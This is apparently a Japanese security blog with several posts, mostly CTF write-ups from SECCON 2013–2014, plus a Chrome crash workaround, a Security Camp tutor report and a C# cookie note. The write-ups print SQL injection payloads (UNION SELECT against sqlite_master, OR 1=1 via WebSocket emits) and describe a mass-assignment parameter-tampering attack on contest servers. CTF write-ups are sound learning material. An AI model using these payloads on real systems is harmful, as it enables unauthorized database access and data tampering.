SECCON2014 オンライン予選日本語 Write-up
お疲れ様でした。
今回はなんというか、やるだけ問題しか解けなかったので微妙な人権確保具合でした。
Unknown100 詰将棋?
22銅 12王 5特 同王 10平 6王 11平 同王 4銀 16王 15金引 23王 29金打
の、まで十三手。
ほかの解答もあるらしいのですが、これがぱっと出てきたので、それ以外考えませんでした。
自由に動かせる将棋盤ソフトを探す事が一番めんどくさかったですね!!!
結局ペイントで切り貼りしながら解きました。
まぁ初手銅が出れば後はノリでどうにでもなるかと。
FLAG{4,15,18,22,23,28,29}
Web100 箱庭SQLiチャレンジ
ハイパーやるだけ問題。
00000000' OR 1=1;--
00000000' ORDER BY 6;--
00000000' ORDER BY 5;--
00000000' UNION SELECT 1,1,1,1,sql FROM sqlite_master;--
00000000' UNION SELECT 1,1,1,1,flag FROM seccon;--
これ、DLするときにマルウェアと判定されるし起動するときめっちゃ重いし愛甲さんのサーバにいちいちクエリ飛ばすし、何か色々アレでした。
FLAG{EnjoySQLi}
結局解けませんでしたが、Cryptは既知平文攻撃でflag.zipを解凍し、./cryptを鍵・平文共にいじりながら暗号化して、アルゴリズムを把握しつつ穴を探す感じっぽかったです。
とりあえず暗号化されたデータの先頭4byteが平文時のファイルサイズ*4 で、その後ろに続くのがzlibで圧縮された暗号化データだって事までは特定出来ました。
暗号文4byteにつき平文1byteで、1:1対応っぽかったので、その辺の実装の不備を突くのかな、とか思ってましたが、誰も解けた人が居なかったので何とも……。
暗号勉強しなきゃ
(追記)
FLAGは暗号名か。ちゃんとした暗号だった( ・∀・)つ〃∩ ヘェーヘェーヘェー
Merkle-Hellmanナップサック暗号 - Wikipedia
http://t.co/aNX7iZ7UKM
— kusanoさん@がんばらない (@kusano_k) 2014, 7月 20
あー、鍵と平文をもっとゴネゴネしてれば良かったのか……??
SECCONオンライン予選 Write-up
SECCONオンライン予選にちょこっとだけ参加して遊んできました。
解いたのはWeb400,Bin100,その他200です。
Web400を一番乗りで解いたし、Web500の裏道も見つけたしで、名古屋大会の時よりかは人権があったかなと思います。(ただし未だにやぎはしゅ/10な感じ)
あと何よりボウリングで笑いましたww
さて、では本題。
Web・ネットワーク 400 SECCON競馬
八百長疑惑のあるSECCON競馬ですが、オールスターレースの全着順を予想し、 馬番を1着からカンマ区切りで答えなさい。
===========解答例ここから===========
16,17,12,8,2,15,1,7,9,14,3,5,13,10,11,6,4
===========解答例ここまで===========
既にtyageさんが書いてますが、まぁ冗長なWrite-upでも書こうかなと。
とりあえず何やってるかを見るためにアカウント登録+Burpを挟んで観察。
……ってあれ、何も起こらない。んー???とか思ってたら、Websocketベースのアプリでした。
で、それに対応したProxyツールが無かったので諦めてJSを解析。
client.jsが全てを動かしてるっぽかったので、とりあえず狙いをこのコードに絞る。
と同時に、問題文的にロジック系かSQLiかなー、みたいなアタリもつけとく。終わったレースの結果は表示されているので、時間をいじるなり終わった事にするなり、SQLiするなり、みたいな。
さらっと読んでみるとコメントが入ってるわ難読化されてないわで読みやすい。親切設計。
でも丸々読む気力は無かったので、Chrome(諸事情によりIronだけど)のデベロッパーツールでJS中の適当な所にブレークポイントを入れて、レース結果処理を追っかける。
すると以下のコードが。
get_race_info: function(message) { var socket = this; if(message.status!=='OK'){ return; } $('h2#race_name').text(message.data.course + (message.data.seq>0?'第'+message.data.seq:'') + 'レース') $('div#tabs').css('display', 'block').attr('race_id', message.data.id); $('#win_rate').text(message.data.win_rate*10+'G'); $('#box_rate').text(message.data.box_rate*10+'G'); if(message.data.done){ socket.emit('get_result', {id: message.data.id}); $('.result_contents').css('display', 'block'); $('.vote_contents').css('display', 'none'); $('.odds_contents').css('display', 'block'); $('#tabs a[href^="#panel"]:eq(0)').trigger('click'); } else { $('.result_contents').css('display', 'none'); if(loginuser){ $('.vote_contents').css('display', 'block'); $('#tabs a[href^="#panel"]:eq(1)').trigger('click'); } else { $('.vote_contents').css('display', 'none'); $('#tabs a[href^="#panel"]:eq(2)').trigger('click'); } } },
終わっている奴はmessage.data.doneがtrueになってて、その場合はsocket.emit('get_result', {id: message.data.id});を実行している、と。
というわけで
if(message.data.done){ (略) }
を
if(true){ (略) }
に書き換えて実行。
しかし何も起こらず。うーん……そこはチェックされてるみたい。
で、コードを漁っても面白いものが無かったので、今度は視点を変えてSQLiを狙う。しかし前述の通りwebsocketなので、Burpとかは使えない。てわけで、使ったのはこのコード。
$('a.race').click(function(){ $('div#tabs').css('display', 'none'); $('div#odds').css('display', 'none'); $('div#result').css('display', 'none'); $('tbody#win_odds').empty(); $('tbody#box_odds').empty(); $('tbody#result').empty(); $('tbody#win_vote').empty(); $('tbody#box_vote').empty(); var race_id = $(this).attr('id').substr(5); // レースIDを指定して、レース情報を取得する socket.emit('get_race_info', {id: race_id}); socket.emit('get_entries', {id: race_id}); }); if($('#tabs').attr('race_id') && parseInt(message.race_id)==$('#tabs').attr('race_id')){ socket.emit('get_result', {id: message.race_id}); $('.vote_contents').fadeOut(); $('li.result_contents').fadeIn(); } },
これはclient.js中にあったコード。見ての通りクリックされた時に起きるし、Socketの結果に依存せずに実行される。オマケにこれが実行される時はSession周りの処理も終わってるし、何も考えなくても自然な通信が行えるので使いやすい。一方で、SQLエラーでWebsocketに変なメッセージが来たら読み取れない可能性があったので念のためwiresharkで読めるようにしとく。
とりあえず
socket.emit('get_race_info', {id: "0+1"}); socket.emit('get_entries', {id: "0+1"});
を実行。そしたらちゃんとid:1のデータを取ってきた。
socket.emit('get_race_info', {id: "0 OR 1 = 1 #"}); socket.emit('get_entries', {id: "0 OR 1 = 1 #"});
は何故かエラー。でもSQL syntax errorって返って来た。うん、確定。
後はまぁいつも通りの流れ。要素数探ってく時にget_race_infoは多くてget_entriesは少ないっぽかったから、get_entriesをターゲットにしたくらいしか工夫点無いです。
詳しくはSQL 攻撃方法 とかでググると何か出てきます。凄い時代になったなぁ……。
その他 200 Encode me.
パスワードを答えよ。
encode_me_91
一日目はさらっと流してたけど、二日目の終了1,2時間前によし、やるか!!ってなった。
とりあえずencode 91でググるかー → base91なんてのがあるのか。とりあえず落として試すか →
PASSWORD/IS/WHICH+ENCODING+DO+YOU+LIKE
取り掛かってから10分もしないうちに解けた。なんという……
バイナリ 100
このゲームをクリアしたらパスワードが得られる。
you will get the password if you get a goal of the dungeon.game.zip
一日目は見向きもしなかったけど二日目やることが無くなったのでやった問題。
とりあえず解凍してIDA Proに投げ込む。64bit。うん、俺には無理だな。
……いやまてよ、SECCONって確かシューティングゲームとか出てたよな。あん時は画像を差し替えるだけだったな……。
というわけで、チートしてゲームクリアって方針を立てる。
とりあえずRead Meを読む。
DX library
http://homepage2.nifty.com/natupaji/DxLib/sample code
http://homepage2.nifty.com/natupaji/DxLib/program/dxprogram_3Dmeiro.html
成程、このライブラリとこんな感じのコードで動いてるのか。
起動してみる。やっぱただの迷路。しかも不思議なダンジョンみたいにランダムに変わるのではなく、固定迷路。
で、dataフォルダを漁ると壁の画像とPrintPasswordって書かれた画像と、それぞれのメタセコイア用3Dイメージが。
とりあえず壁を透明にしてみる。
スタート地点の横にゴールがっ。
でも流石に判定は消えてないので、そのまま進めるなんて事は無い。
透明にした関係で、黒いマスは進める事もあれば進めない事もあるマスに、緑のマスは絶対に進めるマスになった。
あとはコレをがんばって辿ってみるだけ。そんなにMAP広くないので、初見でも2分くらいでゴール出来ると思います。
以上、めっちゃ雑なwrite-upでした。
全体の感想としては、ゴミ箱さんのソロチームに普通に負けたとかkatagaitaiとteam enu強すぎワロタとかですかね。まぁでもバイナリアン無しでここまで取れたので、それなりに良かったかな、みたいな。
あと箱庭XSS、クソワロタです
箱庭XSS Finalの、裏道、くっそワロなんですけど。 作者はもう一度セキュリティを勉強しなおしたほうが良いと思う。w
— やまざきkei5 (@ymzkei5) 2014, 1月 26
多分今回の裏道の件のせいで、箱庭 XSSはFinalで終わらず、次回は箱庭 Returnsが来る。
— k5342 (@k5342) 2014, 1月 26
chromeが死んだお話
ある日突然ChromeがCrashしまくるようになりました。
facebook開いて、適当なリンクに飛ぶと親子タブ共々sad tabになるというsadな状況です。
因みに最初はC9のvikiでCrashしたので、「あ、これなんかやばいモノ埋め込まれたな」とか思って結構焦ったのですが、特に怪しげなものは無く……。
その後も色々な所でクラッシュしまくったので、その中の一つをクラッシュする最小限のコードまで削った結果、原因となるHTML,CSSのコードは特定できました。
ですが、なんでそれで死ぬかが分からず、デバッガを使ってゴリゴリ追いかけていくのはWeb屋的には面倒な上、どうもdllのロードかfunction呼び出しで詰まってるっぽいって事までは分かったのでIssueに投げて放置することにしました。
で、そんなChromeの代用が必要になったので、一時的に乗り換えることにしました。
ですが、使い慣れたブラウザを捨てるのはどうもアレなので、なるべく近いUI/使用感のものでまともに動くのを探しました。
- Chromium
- Chromeの基のブラウザ
- Blinkというエンジンを使っているらしい。webkitからfork
- "Google Chrome" - "Google" / 2 (個人的なイメージ)
- SRWare Iron
で、ググってて二本目でIron引いて、ChromeでもChromiumでもクラッシュしてたpoc.htmlを見事に正しくレンダリングしてくれたので、そっちに乗り換えることにしました。
因みにこのIron、レジストリを汚さないPortable版もあります。凄くイイネ!!!
乗り換え方は非常に簡単で、http://www.srware.net/en/software_srware_iron_download.phpからPortable版をDLして、適当に入れて、起動するだけです。日本語なので楽チン。
一工夫するなら、SettingsからLanguageに行って日本語を追加して、それでIronを表示させてやると幸せになれます。(何故か英語版が起動したとき用)
あと、Chromeの設定を引き継ぐ方法としては、めっちゃイヤらしいやり方なんですが、
C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default
のデータを適当にコピーすればそのまま使えます。(Defaultは各々のChrome Userにあわせて)
BookmarksとかCookiesとか分かりやすい名前なので、必要そうなのだけコピーして使えばいいと思います。
よく分からないならフォルダ以外全部コピーとかでも動くと思います。
因みにdebug.log中にあったメッセージはこんな感じのです。
[0118/155002:ERROR:client_util.cc(307)] Could not find exported function RelaunchChromeBrowserWithNewCommandLineIfNeeded
各所で話題のエラーみたいですね。
僕の環境ではアンインストールしようが設定初期化しようがダメだったので直すことを諦めました。Chromiumのソースに該当部分があるのですが、直前でdllを読み込んで、そこになければエラーを吐くって内容でした。同名の関数がchrome.dll中にあったし、Process Explorer先生で見た感じどうもcrashしてるchromeではコイツを読み込んでなかったっぽい?(要出典)
Chromeが直ったら戻る予定ですが、Ironは普通に良さげなので乗り換えるのもアリかなぁ。。。
SECCON名古屋 コンプガチャ writeup
SECCON名古屋行ってきました。
多分大阪でも出たと思うんですが、Web100のコンプガチャのwriteup書きます。
つってもあれですね、Burpのログふっ飛ばしちゃったんで、色々察して下さい☆
てか、僕のツイートの後にwakatonoさんが呟いていた……気付かなかった……
id:10 Web 100pt コンプガチャ
チャンピオンを倒してフラグをゲットせよ
見た時点では札幌で出たスロットマシーン系かと思ってました。
一応writeup読んでたので、PHPでhttpクエリを楽に飛ばせる関数作ってたんですが、まぁ使う機会はありませんでした。
とりあえずURLがRESTにある/battle/user/1みたいな記述になってるのとPOSTされる値がdata[_Token][key]=1ac4432ef…… みたいな形式になってるのが見えたので、Mass Assignmentだろうなと踏んで、パラメータ改竄による勝利を目標にしました。
この手のフレームワークっぽいものを使った問題だと、SQLとかXSSは少ない気がします。ORマッパーを狙うのはあるかもしれませんが、まだ見たこと無いのでとりあえずスルー。
Mass AssignmentはGithubで見つかった一件で有名ですね。その辺の話は、そらはーのブログに詳しく載っています。(github の mass assignment 脆弱性が突かれた件)
ざっくり説明すると、
<form method="POST"> <input type="text" name="data[name]" size="10"> <input type="text" name="data[bio]" size="30"> <input type="submit" value="Change"> </form>
というフォームがあった時に、
<?php #---略---# $user->update(array("name"=>$_POST["data"]["name"] "bio"=>$_POST["data"]["bio"] )); #---略---# ?>
とすべき所を、
<?php #---略---# $user->update($_POST["data"]); #---略---# ?>
と、してしまった場合に起こります。
update出来る物がname,bioだけなら良いのですが、例えば別の場所でidやpasswordやlankをupdateするために、何にでも対応できる万能なupdateにしたとすると、burpとかでdata[id]=hogeといったものを突っ込むことで勝手に色々値が書き換えられてしまいます。
githubの件ではこれで日付やら公開鍵やらをごにょごにょしたっぽいです。
で、フローとしては、
- 書き換えるパラメータと値の特定
- 書き換える場所の特定
- 書き換え
- バトル
- キタ━━(゚∀゚)⌒Y⌒(。A。)⌒Y⌒(゚∀゚)⌒Y⌒(。A。)⌒Y⌒(゚∀゚)━━!!
こんな感じになるのかな、と考えました。ほかにも、強制的に勝った事にするパターンなんかも考えてました。
で、色々やった結果、書き換えるパラメータと値はやぎはしゅが見つけた、"勝負する"を選んだ時にいける画面で降って来るJSONから特定しました。JSONの中にはpasswordとかwinとか、色々思わせぶりな要素もあったのですが、先に方針を決めていたのでスルーしました。
書き換えたのはparamsだかpowerだかの要素です。これだけ値が99999とかになっていて、これを基準に勝敗を決めているのでは、と考えたためです。
場所に関しては少し迷いました。このフレームワーク(?)では殆どのPOSTにdata[_Token][fields]=1e64ac…… というものがついており、これがランダムに変わる上、POST時にdata[battle][win]=1 とかやろうとするとforbiddenを返してきます。なので、このCSRF対策とパラメータ改竄対策っぽいものをすり抜けられ、かつMass Assignmentで書き換えられる場所を探す必要がありました。
探し回った挙句、挑戦者の名前を変える所を使いました。ここだけはdata[]という形式でなく、name=hogehogeという普通の形式でPOSTしていました。このため、改竄対策をすり抜けられると考えました。
また、書き換え対象のデータは自ユーザのものなので、自ユーザのデータがupdateされていなければなりません。
このフォームはユーザデータをupdateしているという条件も満たしています。
で、場所とパラメータと値が特定できたので、名前変更と同時にparamsに9999999999くらいの数字を叩き込んで勝負したら、flagを吐いてくれました。
冷静に考えるとフレームワークの処理っぽくないのにMass Assignmentがあるのは気持ち悪いですね。だって、バックで動いているコードは多分これですよ?
$user->update($_POST);
うわー、って感じですよね。
感想としては、
コンプガチャで煽られたこと、忘れないからな(涙
— やぎはしゅ (@yagihashoo) 2013, 12月 15
とか
Web屋としての人権は守ったので満足である。
— やぎはしゅ (@yagihashoo) 2013, 12月 15
とか。僕の場合はマイナー脆弱性Web屋としての、ですね。
あとパスワードマネージャーの曲がちょいちょい流れててテンションあがりました。あの曲聞くと不思議な力が働いて集中出来ますw
まぁそんなこんなで無事に優勝しました。
とりあえずチーム********、優勝です。
— alc(T.Usui) (@noritama_ususio) 2013, 12月 15
優勝あざっす http://t.co/J5phyWxrbb
— やぎはしゅ (@yagihashoo) 2013, 12月 15
とりあえず、SECCON CTF名古屋大会に********として参加して、優勝しました http://t.co/ulPq3Xa6kQ
— ほよたか (@hawk_light20) 2013, 12月 15
後半の追い上げとか運営のイジメとか、色々つらいことがありましたが、全部やぎはしゅが打ち倒してくれました。
@noritama_ususio ひろたん1、俺9くらい(爆弾
— やぎはしゅ (@yagihashoo) 2013, 12月 15
皆さんお疲れ様でした!
本戦でこわい人達にボコされてきます!!!!
セキュリティキャンプ2013
今年はチューターとして参加してきましたー。
Web以外分からんマンなのでWeb組のNW構築に手間取ってしまったり、参加者に近過ぎたり、VM準備遅かったり、色々反省点が……特にVM準備、夜遅くまでやっててすいません……
今年のWeb組では講師陣お手製のSNSを使った攻防戦がメインだったのですが、結構色んな脆弱性が潰されてて驚きました。CSP使って守ったり、パスワードの扱いを丸々改善してたり、結構レベル高かったと思います。あとチュータースペシャルアタックが凄まじかったですね。その発想は無かった、みたいな感じでした。
CTFは……突然の振りによって二問キャンプ期間中に作ったのですが、誘導に失敗しましたごめんなさい。FUNの方は大体予想通りの流れで、直感で解く人やっぱ来たか、とか思ってたんですが、もう一個の方は……。分かってれば出来たわー、みたいな反応してる人が結構居たので、もう少し綺麗な誘導が出来ればなー、とか思ったり。Not SQL But...くらいは言っちゃっても良かったかもしれません。
キャンパーになら一部抜粋して公開しても大丈夫っぽい(?)ので、FUNの方だけで良ければ。(もう一個の方は配るまでも無いコードなのでw)
プレゼンは事故った感満載でしたね。すいません。とりあえずPublic Suffix ListとCSRF対策トークン+ログイン前の強制再生成がアレな事だけ覚えといて下さい。
去年と違って企業見学がありましたが、これも中々面白かったですね。チューターは後ろで名刺交換したり写真撮ったりしてただけですが……('
To 参加者各位
キャンプは終わりましたが(まだn日目の朝カウントされてたりしますが)むしろこっから先が本番です。月並みな言葉ですが、日常の中で何するかに全てがかかってます。某氏のように毎日XSSを見つけたり、ブログを書いたり、時事ネタを追ったりサーベイしたり……。とりあえず顔本で講師陣を捕まえておくと、面白い時事ネタを流してくれるのでめっちゃお勧めです。この機会に是非。
To Webチューターのお二方
僕が至らぬために負担をかけてしまったと思います。色々すいません&ありがとうございました。チュータープレゼンと攻撃デモ、流石でした。(詳しくは書けない悲しみ)
なのでとりあえず宣伝だけ……
つ http://ctf.nash-dev.com/entrance
To NW組のチューターさんと宮本さん
会場のネットワークを支えてくれてありがとうございました。参加者の時はあまり意識しませんでしたが、チューターになって改めて凄いなぁと思いました。
キャンプ協議会の方々、運営局の方々、協賛企業の方々、講師の方々、チューターの方々、そして何より参加者の方々、この素晴らしいキャンプをありがとうございました!
C#の斬新な解釈
C#の、HttpWebRequest,HttpWebResponse,CookieContainer の斬新な挙動のお蔭で二時間潰してしまったのでメモ。
簡単に纏めると、Set-CookieヘッダでPathを省略したCookieを受け取った時、CookieContainerさんは勝手にPathを "Cookieを吐いたファイルへのパス"と解釈するらしい。ディレクトリではなくファイルな点に注意。
つまり"http://www.hoge.com/my/home.php"でSet-Cookie( Set-Cookie: token=hogehoge) とかして、そのCookieContainerを使って "http://www.hogehoge.com/my/site.php"にアクセスしてもtokenは送られて来ないって事。
"http://www.hoge.com/my/home.php"でしか有効にならないらしい。
IEですらこんな挙動しねーぞ……どういうこっちゃ